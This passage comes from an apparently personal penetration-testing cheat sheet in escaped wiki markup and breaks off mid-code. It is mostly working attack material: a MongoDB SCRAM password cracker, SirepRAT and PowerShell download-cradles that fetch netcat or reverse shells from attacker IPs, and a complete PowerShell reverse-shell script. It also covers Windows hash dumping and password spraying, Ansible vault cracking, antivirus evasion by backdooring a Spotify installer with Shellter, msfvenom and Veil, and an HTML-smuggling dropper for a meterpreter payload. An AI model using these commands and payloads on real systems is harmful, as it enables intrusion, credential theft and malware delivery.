&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 27017 - MongoDB ==&lt;br /&gt;
&lt;br /&gt;
=== Crack hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
import hmac&lt;br /&gt;
import sys&lt;br /&gt;
USERNAME = &#039;admin&#039;&lt;br /&gt;
SALT = &#039;zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg==&#039;&lt;br /&gt;
CLIENT_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK&#039;&lt;br /&gt;
SERVER_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D&#039;&lt;br /&gt;
ITERATIONS = 15000&lt;br /&gt;
TARGET = &#039;/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98=&#039;&lt;br /&gt;
WORDLIST = &#039;/usr/share/wordlists/rockyou.txt&#039;&lt;br /&gt;
def byte_xor(ba1, ba2):&lt;br /&gt;
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])&lt;br /&gt;
def proof(username, password, salt, client_nonce, server_nonce, iterations):&lt;br /&gt;
    raw_salt = base64.b64decode(salt)&lt;br /&gt;
    client_first_bare = &#039;n={},r={}&#039;.format(username, client_nonce)&lt;br /&gt;
    server_first = &#039;r={},s={},i={}&#039;.format(server_nonce, salt, iterations)&lt;br /&gt;
    client_final_without_proof = &#039;c=biws,r={}&#039;.format(server_nonce)&lt;br /&gt;
    auth_msg = &#039;{},{},{}&#039;.format(client_first_bare, server_first, client_final_without_proof)&lt;br /&gt;
    salted_password = hashlib.pbkdf2_hmac(&#039;sha256&#039;, password.encode(&#039;utf-8&#039;), raw_salt, iterations)&lt;br /&gt;
    client_key = hmac.digest(salted_password, b&#039;Client Key&#039;, &#039;sha256&#039;)&lt;br /&gt;
    stored_key = hashlib.sha256(client_key).digest()&lt;br /&gt;
    client_signature = hmac.new(stored_key, auth_msg.encode(&#039;utf-8&#039;), &#039;sha256&#039;).digest()&lt;br /&gt;
    client_proof = byte_xor(client_key, client_signature)&lt;br /&gt;
    return base64.b64encode(client_proof).decode(&#039;utf-8&#039;)&lt;br /&gt;
counter = 0&lt;br /&gt;
with open(WORDLIST) as f:&lt;br /&gt;
    for candidate in f:&lt;br /&gt;
        counter = counter + 1&lt;br /&gt;
        if counter % 1000 == 0:&lt;br /&gt;
            print(&#039;Tried {} passwords&#039;.format(counter))&lt;br /&gt;
        p = proof(USERNAME, candidate.rstrip(&#039;\n&#039;), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)&lt;br /&gt;
        if p == TARGET:&lt;br /&gt;
            print(&#039;Password found: {}&#039;.format(candidate.rstrip(&#039;\n&#039;)))&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
print(&#039;Wordlist exhausted with no password found.&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 29819 - Windows IoT Core SirepServer ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file - Example&lt;br /&gt;
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe&#039;&lt;br /&gt;
# Execute command - Example&lt;br /&gt;
 python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Active Directory/Windows ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=2078&lt;br /&gt;
&lt;br /&gt;
=== ASREPRoast ===&lt;br /&gt;
&lt;br /&gt;
=== BloodHound ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.&lt;br /&gt;
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.&lt;br /&gt;
python3 bloodhound.py -c All -d  -u  -p &#039;&#039; -ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start neo4j database&lt;br /&gt;
./neo4j console&lt;br /&gt;
# Start BloodHound&lt;br /&gt;
./BloodHound.bin --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Curated list of commands ===&lt;br /&gt;
&lt;br /&gt;
=== Dump hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.&lt;br /&gt;
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberoast ===&lt;br /&gt;
&lt;br /&gt;
=== Pass The Hash ===&lt;br /&gt;
&lt;br /&gt;
=== Password Spraying ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u users.txt -p passwords.txt&lt;br /&gt;
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123&lt;br /&gt;
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PSEXEC.py, PSExec.exe, Evil-WinRM ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 psexec.py test.local/john:password123@10.10.10.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# evil-winrm -u svc-alfresco -p &#039;s3rvice&#039; -i 10.10.10.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From SysInternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell commands ===&lt;br /&gt;
&lt;br /&gt;
Running powershell x64, and running (IEX) the downloaded ps1 file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Powershell on target with ExectionPolicy to bypass&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerUp.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/PowerUp.ps1&#039;);Invoke-AllChecks&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Downloading SharpHound.exe on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
(new-object System.Net.WebClient).DownloadFile(&#039;http://10.10.14.17:9000/SharpHound.exe&#039;, &#039;C:\Users\[...]\Desktop\SharpHound.exe&#039;)&lt;br /&gt;
# Execute SharpHound&lt;br /&gt;
./SharpHound.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerView.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.45:5555/PowerView.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Nishangs Invoke-PowershellTCP&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c IEX(New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.18:9000/shell.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Use invoke webrequest and download script. With -UseBasicParsing. &#039;&#039;-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
iex (iwr &#039;10.10.14.9:9000/ipw.ps1&#039;) -UseBasicParsing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Download a file and save it to location.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mini-reverseshell.ps1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;127.0.0.1&#039;, 413);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do&lt;br /&gt;
{&lt;br /&gt;
	$writer.Flush();&lt;br /&gt;
	$read = $null;&lt;br /&gt;
	$res = &amp;quot;&amp;quot;&lt;br /&gt;
	while($stream.DataAvailable -or $read -eq $null) {&lt;br /&gt;
		$read = $stream.Read($buffer, 0, 1024)&lt;br /&gt;
	}&lt;br /&gt;
	$out = $encoding.GetString($buffer, 0, $read).Replace(&amp;quot;`r`n&amp;quot;,&amp;quot;&amp;quot;).Replace(&amp;quot;`n&amp;quot;,&amp;quot;&amp;quot;);&lt;br /&gt;
	if(!$out.equals(&amp;quot;exit&amp;quot;)){&lt;br /&gt;
		$args = &amp;quot;&amp;quot;;&lt;br /&gt;
		if($out.IndexOf(&#039; &#039;) -gt -1){&lt;br /&gt;
			$args = $out.substring($out.IndexOf(&#039; &#039;)+1);&lt;br /&gt;
			$out = $out.substring(0,$out.IndexOf(&#039; &#039;));&lt;br /&gt;
			if($args.split(&#039; &#039;).length -gt 1){&lt;br /&gt;
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo&lt;br /&gt;
                $pinfo.FileName = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
                $pinfo.RedirectStandardError = $true&lt;br /&gt;
                $pinfo.RedirectStandardOutput = $true&lt;br /&gt;
                $pinfo.UseShellExecute = $false&lt;br /&gt;
                $pinfo.Arguments = &amp;quot;/c $out $args&amp;quot;&lt;br /&gt;
                $p = New-Object System.Diagnostics.Process&lt;br /&gt;
                $p.StartInfo = $pinfo&lt;br /&gt;
                $p.Start() | Out-Null&lt;br /&gt;
                $p.WaitForExit()&lt;br /&gt;
                $stdout = $p.StandardOutput.ReadToEnd()&lt;br /&gt;
                $stderr = $p.StandardError.ReadToEnd()&lt;br /&gt;
                if ($p.ExitCode -ne 0) {&lt;br /&gt;
                    $res = $stderr&lt;br /&gt;
                } else {&lt;br /&gt;
                    $res = $stdout&lt;br /&gt;
                }&lt;br /&gt;
			}&lt;br /&gt;
			else{&lt;br /&gt;
				$res = (&amp;amp;&amp;quot;$out&amp;quot; &amp;quot;$args&amp;quot;) | out-string;&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
		else{&lt;br /&gt;
			$res = (&amp;amp;&amp;quot;$out&amp;quot;) | out-string;&lt;br /&gt;
		}&lt;br /&gt;
		if($res -ne $null){&lt;br /&gt;
        $writer.WriteLine($res)&lt;br /&gt;
    }&lt;br /&gt;
	}&lt;br /&gt;
}While (!$out.equals(&amp;quot;exit&amp;quot;))&lt;br /&gt;
$writer.close();&lt;br /&gt;
$socket.close();&lt;br /&gt;
$stream.Dispose()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Powershell location&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 64-bit Windows&lt;br /&gt;
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
# 32-bit (x86) Windows&lt;br /&gt;
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./kerbrute_linux_amd64 userenum -d  --dc  usernames.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Ansible ==&lt;br /&gt;
&lt;br /&gt;
[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run Ad-hoc command&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Run ad-hoc command as root or other users&lt;br /&gt;
# If you don&#039;t specify user it will default to root.&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot; --become&lt;br /&gt;
&lt;br /&gt;
##  Crack Ansible hash&lt;br /&gt;
# Notice the spaces between AES256 and 666...&lt;br /&gt;
cat test.yml &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
# Convert to readable hash&lt;br /&gt;
https://github.com/willstruggle/john/blob/master/ansible2john.py&lt;br /&gt;
python3 ansible2john.py test.yml &amp;gt; ansiblehash&lt;br /&gt;
cat ansiblehash &amp;gt;&lt;br /&gt;
$ansible$0*0*9661a952b5822af9a210...&lt;br /&gt;
# Crack the hash using john or hashcat&lt;br /&gt;
john ansiblehash&lt;br /&gt;
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt&lt;br /&gt;
# Decrypt vault&lt;br /&gt;
cat pw.txt &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
cat pw.txt | ansible-vault decrypt&lt;br /&gt;
# Use the pass cracked from john or hashcat&lt;br /&gt;
Vault password:&lt;br /&gt;
lab&lt;br /&gt;
# Run the playbook&lt;br /&gt;
ansible-playbook playbook.yml --vault-password-file=vault.txt&lt;br /&gt;
# OR&lt;br /&gt;
ansible-playbook playbook.yml --ask-vault-pass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Artifactory Jfrog ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anti-Virus Evasion (Bypass) ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]&lt;br /&gt;
&lt;br /&gt;
PWK chapter 17&lt;br /&gt;
&lt;br /&gt;
OSEP&lt;br /&gt;
&lt;br /&gt;
=== Test payload against AV ===&lt;br /&gt;
&lt;br /&gt;
https://virustotal.com (Don&#039;t use if you want you&#039;re payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.&lt;br /&gt;
&lt;br /&gt;
https://antiscan.me&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== API ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Need to have golang installed&lt;br /&gt;
apt-get install golang&lt;br /&gt;
# build the binary&lt;br /&gt;
make build&lt;br /&gt;
# symlink your binary&lt;br /&gt;
ln -s $(pwd)/dist/kr /usr/local/bin/kr&lt;br /&gt;
# compile the wordlist&lt;br /&gt;
# kr kb compile&lt;br /&gt;
kr kb compile routes.json routes.kite&lt;br /&gt;
# scan away&lt;br /&gt;
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Buffer overflow ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1932&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Browser exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Firefox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract passwords from profile&lt;br /&gt;
https://github.com/unode/firefox_decrypt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Client-Side Code Execution ==&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
